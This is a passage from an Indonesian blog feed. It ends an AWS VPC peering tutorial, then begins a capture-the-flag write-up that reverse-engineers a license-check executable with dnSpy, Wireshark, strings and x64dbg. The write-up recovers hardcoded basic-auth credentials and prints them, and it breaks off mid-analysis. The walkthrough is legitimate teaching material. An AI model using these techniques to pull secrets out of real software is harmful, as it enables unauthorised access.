<p>Dua uji coba diatas menunjukan bahwa instance publik berhasil terhubung ke internet dan berhasil terhubung ke instance private, untuk instance private tidak bisa dilakukan uji coba seperti instance publik, karena instance private tidak memiliki IP publik. Untuk terhubung ke instance private, cara nya adalah dengan ssh, gunakan ssh pari key yang telah di download secara otomatis sebelumnya. Copy konten keynya lalu salin ke instance publik, berikan izin 400. Cara menggunakannya seperti ini:</p>



<p class="has-text-align-center has-medium-font-size"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><em>ssh -i key.pem ubuntu@10.0.135.68</em></mark></p>



<p>contoh nya seperti ini.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="695" height="824" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-33.png" alt="" class="wp-image-240"/></figure>



<p>testing ping google.com dan IP private dari instance publik</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="661" height="457" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-34.png" alt="" class="wp-image-241" style="width:706px;height:auto"/></figure>



<p>Pada gambar di atas tersaji informasi bahwa instance private tidak dapat ping google.com dikarenakan tidak memiliki akses internet, tetapi instance private bisa ping ke IP private dari instance publik.</p>



<p>OK sudah selesai sampai disini, untuk tugas kalian, buatkan seperti diatas untuk region kedua! karna aku tidak akan membahas nya untuk kedepan nya. selanjutnya konfigurasi VPS Peering, jadi aku akan menghubungkan instance private yang berbeda region ini dengan VPC Peering.</p>



<p></p>



<h2 class="wp-block-heading">Konfigurasi VPC Peering Antar Region</h2>



<p>Klik tombol &#8220;Search&#8221; pada bagian kanan atas, cari VPC, kemudian pada sidebar pilih menu &#8220;Peering Connections&#8221;. Perlu di artikel ini peering akan dilakukan pada region virginia. Setelah masuk ke menu Peering Connnections, klik tombol &#8220;Create peering connections&#8221; pada pojok kanan atas.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="993" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-38.png" alt="" class="wp-image-252"/></figure>



<p>Setelah di arahkan ke halaman untuk membuat Peering, isi kolom nama, Select a local VPC, Select another VPC seperti gambar dibawah ini:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="646" height="676" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-39.png" alt="" class="wp-image-253"/></figure>



<p>Penjelesan</p>



<p>Pada bagian &#8220;Name&#8221; digunakan untuk memberi nama koneksi peering. bagian &#8220;Select a local VPC&#8221; digunakan untuk memilih VPC yang ingin di hubungkan. &#8220;Select a local VPC to peer with&#8221; terdapat VPC ID yaitu ID VPC di region virginia yang sebelum nya kita buat, kemudian bagian &#8220;Select another VPC to peer with&#8221; terdapat Account, pilih saja My Account karna koneksi dari akun yang sedang digunakan, pada bagian region pilih Another Region dikarenakan peering akan dilakukan antar region, kemudian pilih region yang ingin di hubungkan lalu masukan VPC ID region yang ingin dihubungkan. Setelah semua sudah benar, klik tombol &#8220;Create Peering Connection&#8221; pada bagian bawah. Maka hasilnya akan seperti gambar dibawah.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="679" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-40.png" alt="" class="wp-image-254"/></figure>



<p>Setelah berhasil di buat, silahkan pindah ke region singapore, ke menu Peering Connection, pilih peering connection, klik &#8220;Action&#8221; lalu pilih Accept Request&#8221;. Setalah itu tunggu hingga Provisioning selesai.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="990" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-41.png" alt="" class="wp-image-256"/></figure>



<p>Jika sudah active, pilih menu Route Tables (region virginia), pilih subnet private, lalu edit routes.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1918" height="993" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-42.png" alt="" class="wp-image-258"/></figure>



<p>Setelah itu add route, masuk kan Destination yaitu CIDR dari VPC region Singapore, lalu target pilih Peering Connection kemudian pilih peering yang telah berhasil di hubungkan sebelumnya, Setelah itu &#8220;Save Changes&#8221;.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1919" height="996" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-43.png" alt="" class="wp-image-259"/></figure>



<p>Lakukan hal yang sama pada region Singapore, pastikan Destination CIRD dari VPC region virginia. </p>



<p></p>



<h2 class="wp-block-heading">Uji Coba Koneksi Peering Antara Instance Private Pada Kedua Region</h2>



<p>Uji coba dilakukan dengan menggunakan bastion host lalu gunakan pair key untuk terhubung ke instance private. Uji coba pertama yaitu instance private dari region singpore ke instance private region virginia.</p>



<p>IP instance private singapore: 192.168.1.74<br>IP instance private virginia: 10.0.135.68</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="719" height="722" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-44.png" alt="" class="wp-image-260"/></figure>



<p>Uji coba kedua yaitu instance private dari region virginia ke instance private region singapore.</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-9 wp-block-group-is-layout-flex">
<p>IP instance private singapore: 192.168.1.74<br>IP instance private virginia: 10.0.135.68</p>
</div>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="660" height="686" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/image-45.png" alt="" class="wp-image-263" style="width:732px;height:auto"/></figure>



<p>Sekian terima kasih, jika ada pertanyaan, silahkan isi kolom komentar di bawah <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/16/implementasi-vpc-peering-pada-koneksi-antar-private-instance/">Implementasi VPC Peering Pada Koneksi Antar Private Instance: Panduan Lengkap untuk Pemula</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/10/16/implementasi-vpc-peering-pada-koneksi-antar-private-instance/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Reverse Engineering pada executable file</title>
		<link>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/</link>
					<comments>https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Wed, 02 Oct 2024 23:23:59 +0000</pubDate>
				<category><![CDATA[cloud]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=99</guid>

					<description><![CDATA[<p>Halo temen temen cyber sec, karena berhubung kemaren lalu aku share suatu challenge dengan kategori Reverse Engineering di group Bhineka Tech jadi disini aku akan ngebahas gimana sih cara solve challenge tersebut. Bisa dibaca pada hint dan deskripsi dari challenge disana tertulis jika kita diharuskan untuk membongkar suatu executable file yang diberikan untuk mendapatkan suatu [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/10/02/reverse-engineering-pada-executable-file/">Reverse Engineering pada executable file</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Halo temen temen cyber sec, karena berhubung kemaren lalu aku share suatu challenge dengan kategori Reverse Engineering di group Bhineka Tech jadi disini aku akan ngebahas gimana sih cara solve challenge tersebut.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-100 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105.png" alt="" width="705" height="570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105.png 705w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-080105-300x243.png 300w" sizes="auto, (max-width: 705px) 100vw, 705px" /></p>
<p>Bisa dibaca pada hint dan deskripsi dari challenge disana tertulis jika kita diharuskan untuk membongkar suatu executable file yang diberikan untuk mendapatkan suatu flag dan disitu aku juga menuliskan hint <em>REST API </em>yang nantinya ini bakal berguna saat kita memulai untuk melakukan analysis.</p>
<p>Karena banyak sekali yang mengeluh RE itu suatu topik yang sulit dan memang benar kalo misalkan kita tidak punya pengetahuan dasar jadi disarankan sebelum temen temen belajar Reverse Engineering ada baiknya temen temen mempelajari dulu beberapa konsep dasar dan fundamental tentang programming, memory layouting, cara kerja compiler/linker dan yang lebih penting bagaimana suatu program itu dibuat agar lebih memahami flownya.</p>
<p>Oke kembali ke topik utama, pertama kita lakukan download dulu file .exe pada URL yang diberikan dan langkah awal kita langsung jalankan programnya untuk melihat fungsi dari programnya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-103 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745.png" alt="" width="1072" height="677" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745.png 1072w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-300x189.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-1024x647.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-081745-768x485.png 768w" sizes="auto, (max-width: 1072px) 100vw, 1072px" /></p>
<p>Programnya sangat sederhana yaitu dalam UI-nya ada textbox dan suatu button dimana jika dilihat pada labelnya kita diharuskan untuk meng-inputkan suatu License Key.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-104 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227.png" alt="" width="1013" height="260" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227-300x77.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-02-082227-768x197.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p>Jika dilihat pada archive zipnya didalam folder re_chall terdapat 2 libray atau DLL(dynamic library link) yaitu libcurl.dll dan zlib1.dll dimana DLL file ini digunakan untuk external library yang mana function-function dari .dll file ini digunakan didalam source code pada program yang mana jika kita menghapus .dll file ini program akan error, jelas saja karena memang ini file krusial yang di include oleh program.</p>
<p>Disini untuk identifikas awal kita bisa menggunakan command file untuk mengetahui deskripsi dari executable</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-115 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552.png" alt="" width="892" height="160" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552.png 892w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-035552-768x138.png 768w" sizes="auto, (max-width: 892px) 100vw, 892px" /></p>
<p>Jika dilihat dari output command file menunujukkan <em>x86-64 Mono/.Net assembly </em>yang arinya merupakan binary yang di build diattas plaform .NET dimana .NET merupakan suatu  plaform open source yang menyediakan fungsionalitas seperti libray, dependency, module dsb unttuk membuat suatu aplikasi dan bahkan .NET bisa berajalan pada cross platform.</p>
<p>Disini kitta mengetahui jika executable ini di compile menggunakan .NET SDK jadi untuk memulai RE kita bisa menggunakan tools .NET decompiler dan disini kita akan menggunakan salah satu tools yang powerfull yaitu dnSpy yang berfungsi untuk debugger dan assembly editor pada aplikasi yang di build menggunakan .NET</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-117 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917.png" alt="" width="578" height="409" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917.png 578w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-040917-300x212.png 300w" sizes="auto, (max-width: 578px) 100vw, 578px" /></p>
<p>Setelah dibuka pada dnSpy kita bisa melihat dan explore component yang digunakan pada program disitu ada berbagai macam, untuk text program menggunakan label, untuk input menggunakan textbox dan disitu juga disertakan name pada masing masing component. Disini kita akan fokus pada submit_click yaitu component button karena kita tau dalam program setelah dilakukan submit button program akan melakukan action untuk validasi license key.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-118 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515.png" alt="" width="1290" height="600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515.png 1290w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-300x140.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-041515-768x357.png 768w" sizes="auto, (max-width: 1290px) 100vw, 1290px" /></p>
<p>Hasil decompile dari code yang terdapat pada form submit_click yang pastinya sangat tidak readable ya disini karena hasil decompiling ini merupakan suatu pseudo code bukan code aslinya jadi kita akan melakukan static analysis manual dengan mencoba membaca result codenya</p>
<p>Disini sangat jelas jika program menggunakan bahasa c++ karena ada beberapa namespace c++ yang dipanggil seperti std::char dan std::string.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-119 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102.png" alt="" width="1009" height="394" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102-300x117.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042102-768x300.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></p>
<p>Saat melakukan source code review disini ditemukan suatu instansiasi libcurl bisa terlihat pada function curl_easy_init() dan curl_easy_setopt, seperti yang tertulis pada hint yaitu REST API yang mungkin program melakukan suatu request HTTP jadi mari coba kita lakukan capture pada wireshark</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-122 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745.png" alt="" width="1165" height="388" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745.png 1165w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-1024x341.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-042745-768x256.png 768w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /></p>
<p>&nbsp;</p>
<p>Dan tidak ada result pada saat di filter di protocol HTTPhmm jadi mungkin saja memang host sudah memakai SSL jadi kita coba saja filter menggunakan protocol SSL/TLS</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-123 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053.png" alt="" width="1268" height="425" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053.png 1268w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-300x101.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-1024x343.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043053-768x257.png 768w" sizes="auto, (max-width: 1268px) 100vw, 1268px" /></p>
<p>dan ya banyak sekali outputnya jadi kita perlu melakuan filter manual untuk menemukan suatu endpoint REST API dan karena memakai SSL semua request di enkripsi jadi disini kita tidak bisa melihat raw plain-text dari http request tapi dari sini kita bisa menemukan IP address beserta alamat port yang digunakan pada program</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-124 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438.png" alt="" width="945" height="431" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438.png 945w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438-300x137.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043438-768x350.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p>Jika kita melihat lagi lebih jauh disini ditemukan ada suatu SSL handshaking pada IP address 103.84.207.73 di pot 3000 dan jika kita melihat SNI(server name indication) yang merupakan extension dari protokol TLS yang menunjukkan cyber-uph.lol jadi kita akan coba akses melaui browser pada https://cyber-uph.lol:3000</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-125 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833.png" alt="" width="1882" height="915" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833.png 1882w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-300x146.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-1024x498.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-768x373.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-043833-1536x747.png 1536w" sizes="auto, (max-width: 1882px) 100vw, 1882px" /></p>
<p>Tetapi pada saat diakses dari browser di homepage-nya terdapat response 404 dan juga pada header http disana ter-include <em>X-Powered-By: Express </em>yang bisa disimpulkan jika backend dibuat menggunakan node.js framework yaitu express.</p>
<p>Disini kita perlu mengetahui path endpoint yang digunakan untuk melakukan validasi license key jadi kita akan melakukan analysis lebih lanjut lagi pada program dan jika kita mencoba membaca pada instance curl kita menemukan deklarasi URL di function curl_easy_setopt</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-127 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618.png" alt="" width="956" height="146" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618.png 956w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618-300x46.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045618-768x117.png 768w" sizes="auto, (max-width: 956px) 100vw, 956px" /></p>
<p>yang mana stiring <strong>??_C@_0CH@MEIFFGMC@https?3?1?1cyber?9uph?4lol?33000?1priv@</strong> jika kita bersihkan menjadi https://cyber-uph.lol:3000/priv dan pada saat diakses tetap saja response masih menunjukkan 404 jadi cara cepatnya kita bisa menggunakan utility string dan grep pada string cyber-uph.lol</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-128 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957.png" alt="" width="733" height="224" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957.png 733w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-045957-300x92.png 300w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<p>Dan sekarang ditemukan endpoint yang benar dan langsung coba kita akses pada browser</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-129 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050.png" alt="" width="1878" height="646" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050.png 1878w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-300x103.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-1024x352.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-768x264.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050050-1536x528.png 1536w" sizes="auto, (max-width: 1878px) 100vw, 1878px" /></p>
<p>Sepertinya memerlukan semacam authorization untuk mengakses endpoint /privateData dimana hal ini disebut basic http authentication jadi kita memerlukan suatu credential agar bisa mengakses endpoint tersebut jadi kita perlu analisys lagi</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-131 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632.png" alt="" width="935" height="95" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632.png 935w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632-300x30.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-050632-768x78.png 768w" sizes="auto, (max-width: 935px) 100vw, 935px" /></p>
<p>Jika kita explore lagi pada pseudo code kita bisa melihat disana ada suatu user defined function yaitu base64coyy yang kemungkinan besar program melakukan encode dan decode memakai base64</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-132 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317.png" alt="" width="943" height="496" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317.png 943w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-300x158.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-768x404.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051317-720x380.png 720w" sizes="auto, (max-width: 943px) 100vw, 943px" /></p>
<p>Nah disini ada suatu deklarasi array dan juga while loop untuk operasi string dimana kita bisa melihat dari string yang di assign pada variable untuk membaca string kita perlu mengikuti pola decompiler</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-133 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559.png" alt="" width="773" height="421" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559.png 773w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559-300x163.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-051559-768x418.png 768w" sizes="auto, (max-width: 773px) 100vw, 773px" /></p>
<p>Kita bisa melihat pola string seperti <strong>??_C@_0L@KGCJHHFD@keyLicense@; </strong>yang sebenarnya string asli merupakan KeyLicense jadi patternya ??_@string_sampah@string_aslinya@ jadi kita bisa langsung mengambil string aslinya</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-134 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437.png" alt="" width="673" height="489" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437.png 673w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-052437-300x218.png 300w" sizes="auto, (max-width: 673px) 100vw, 673px" /></p>
<p>Jika kita melihat pada operasi berikut sederhananya operasi tersebut melakukan append string karena memang hasil dari decompile terlihat sangat rumit jadi kita sekarang mencoba membuka pada hex editor dari string tersebut</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-135 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008.png" alt="" width="486" height="151" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008.png 486w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053008-300x93.png 300w" sizes="auto, (max-width: 486px) 100vw, 486px" /></p>
<p>Karena tadi kita mendapatkan petujuk yaitu function base64coyy sekarang kita perlu identifikasi string dengan encoding base64 dan kita menemukan 3 string yaitu:</p>
<p>y92cwwGZ</p>
<p>uxWYrFmYhJl</p>
<p>cwMXYn5GM3pDajVGdphmY</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-136 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503.png" alt="" width="653" height="182" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503.png 653w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053503-300x84.png 300w" sizes="auto, (max-width: 653px) 100vw, 653px" /></p>
<p>Tetapi pada saat dilakukan decode encoding bukan base64 dan menampilkan invalid input</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-138 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728.png" alt="" width="908" height="376" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728.png 908w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728-300x124.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-053728-768x318.png 768w" sizes="auto, (max-width: 908px) 100vw, 908px" /></p>
<p>Dan jika kita melihat lagi pada source code terdapat function strrev yang mengambil argument dari string base64 yang di append jadi kita bisa coba melakukan reverse/membalikkan string agar dapat kita lakukan decoding</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-139 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940.png" alt="" width="636" height="345" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940.png 636w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-054940-300x163.png 300w" sizes="auto, (max-width: 636px) 100vw, 636px" /></p>
<p>Saat dilakukan pembalikkan string, kita berhasil melakukan decode dengan plaint-text bhitech:w0ngas0rRabakalndl0sor jadi memang pada http auth username dan password dilakukan pemisahan pada character : artinya berarti bhitech merupakan username dan w0ngas0rRabakalndl0sor adalah passwordnya jadi langsung kita coba pada http auth</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-140 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219.png" alt="" width="1723" height="467" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219.png 1723w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-300x81.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-1024x278.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-768x208.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055219-1536x416.png 1536w" sizes="auto, (max-width: 1723px) 100vw, 1723px" /></p>
<p>hmm ternyata masih gagal atau username/password salah yang berarti analysis static saja belum cukup jadi kita langsung mulai menggunakan x64dbg untuk analysis dynamic yaitu analysis program pada saat runtime/berjalan</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-141 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710.png" alt="" width="1123" height="579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710.png 1123w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-300x155.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-1024x528.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-055710-768x396.png 768w" sizes="auto, (max-width: 1123px) 100vw, 1123px" /></p>
<p>Kita buka dan running pada x64dbg dan melihat behaviour pada program saat berjalan, lalu kita trace dan melihat informasi data di stack dan memory</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-142 size-full" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101.png" alt="" width="886" height="221" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101.png 886w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101-300x75.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/10/Screenshot-2024-10-03-060101-768x192.png 768w" sizes="auto, (max-width: 886px) 100vw, 886px" /></p>
<p>Disini kita menemukan string base64 encode beserta plaintext-nya yaitu YmhpdGVjaDp3MG5nYXMwclJhYmFrYWxuZGwwc29y dan bhitech:w0ngas0rRabakaln artinya sebenarnya flow kita memang sudah benar tetapi compiler dan linker memotong string password yang sebenernya w0ngas0rRabakalndl0sor menjadi w0ngas0rRabakaln</p>
